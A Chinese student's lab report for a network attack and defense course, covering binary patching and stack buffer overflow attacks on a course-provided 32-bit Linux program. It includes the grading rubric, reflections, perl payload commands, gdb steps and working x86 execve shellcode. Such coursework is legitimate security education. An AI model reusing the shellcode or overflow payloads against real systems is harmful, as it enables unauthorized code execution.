2018-2019-2 網絡對抗技術 20165329 Exp1 PC平臺逆向破解linux
做業內容shell
評分標準:編程
- 截圖要求:
1.1 全部操做截圖主機名爲本人姓名拼音windows
1.2 所編輯的文件名包含本身的學號sass
如未按如上格式要求,則相應部分報告內容不記成績。安全
2 報告內容網絡
2.1 用本身的話回答如下問題:dom
2.1.1 實驗收穫與感想函數
2.1.2 什麼是漏洞?漏洞有什麼危害?spa
2.2 須要描述的內容
2.2.1掌握NOP, JNE, JE, JMP, CMP彙編指令的機器碼(0.5分)
2.2.2掌握反彙編與十六進制編程器 (0.5分)
2.2.3能正確修改機器指令改變程序執行流程(0.5分)
2.2.4能正確構造payload進行bof攻擊(0.5分)
3.報告總體觀感
3.1 報告格式範圍,版面整潔 加0.5。
3.2 報告排版混亂,加0分。
4.文字表述
4.1報告文字內容很是全面,表述清晰準確 加1分。
4.2報告邏輯清楚,比較簡要地介紹了本身的操做目標與過程 加0.5分。
4.3報告邏輯混亂表述不清或文字有明顯抄襲可能 加0分。
實驗收穫與感想
經過此次實驗,讓我對本次實驗的緩衝區溢出攻擊的原理有了必定的瞭解。經過詢問同窗,查考網上資料慢慢的一步一步解決了實驗的難點,雖然對這次實驗的原理沒有理解的那麼深刻,可是仍是受益不淺,更加喜歡上了這門課程。
什麼是漏洞?漏洞有什麼危害?
我以爲漏洞是在設計製造程序產品時,只考慮該程序的功能實現,未充分考慮其安全性的問題,致使程序在安全策略上存在缺陷,使得攻擊者可利用該缺陷進行破環與攻擊。它的危害可能會取得該程序的控制權,進而經過命令控制整個主機,致使受到攻擊。
NOP, JNE, JE, JMP, CMP彙編指令的機器碼
一、首先將pwn1文件經過共享文件夾傳入虛擬機當中,經過chmod +x pwn1指令加權限,而後objdump -d pwn1
,反彙編pwn1文件。
二、反彙編結束後發現:main函數裏面有一步call 8048491<foo>
,機器碼指令爲e8 d7 ff ff ff
(call的機器碼就是e8,後面是地址)。
經過進一步的分析:08048491是0804847d是咱們的跳轉目標。
0x08048491 - 0x0804847d = 0x00000014//計算地址差
0xffffffd7 - 0x00000014 = 0xffffffc3//計算要篡改的目標地址
vi pwn1
進入命令模式:%!xxd
將顯示模式切換爲十六進制/e8 d7
定位須要修改的地方,並確認d7
爲c3
:%!xxd -r
將十六進制轉換爲原格式wq
保存並退出
經過上述步驟看見個人main函數裏面已經修改成e8 c3 ff ff ff
四、執行./pwn1
文件能夠成功獲取shell:
完成第一個實驗。
一、
使用gdb
命令,file pwn1
載入pwn1文件,輸入gdb pwn1。
輸入r
執行pwn1,這時程序正常執行,在foo子函數調用的過程當中,須要咱們輸入一個字符串。
輸入36個字符後回車:abcdefghijklmnopqrstuvwxyz1234567890
二、
此時eip寄存器中的值爲0x30393837,eip
寄存器的值是保存程序下一步所要執行指令的地址,本次實驗用的是小端機器,30、3九、3八、37分別是0、九、八、7對應的ASCII碼,那麼也就是說最後4位恰好完成溢出,覆蓋掉返回地址了。
咱們須要使用perl語句,用管道的方式把上一個命令的結果做爲下一個的輸入。
使用:perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
而後將input的輸入,經過管道符「|」,做爲pwn1的輸入。攻擊成功之後出現的截圖:
‘
完成第二個實驗。
修改如下內容
查詢地址隨機化是否關閉(0表明關閉,2表明開啓)more /proc/sys/kernel/randomize_va_space
\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00
perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
上面的\x4\x3\x2\x1將覆蓋到堆棧上的返回地址的位置。咱們把它改成這段shellcode
的地址。
肯定返回地址的值
(cat input_shellcode;cat) | ./pwn1
ps -ef | grep pwn1
肯定pwn1的進程號gdb
attach 5305
disassemble foo
下圖能夠看到0x01020304所在的地址爲0xffffd22c
,那麼注入的shellcode代碼的地址應該在該地址後四個字節的位置,即
0xffffd22c + 0x00000004 = 0xffffd230
退出gdp調試。
輸入
perl -e 'print "A" x 32;print "\x30\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
第三個實驗完成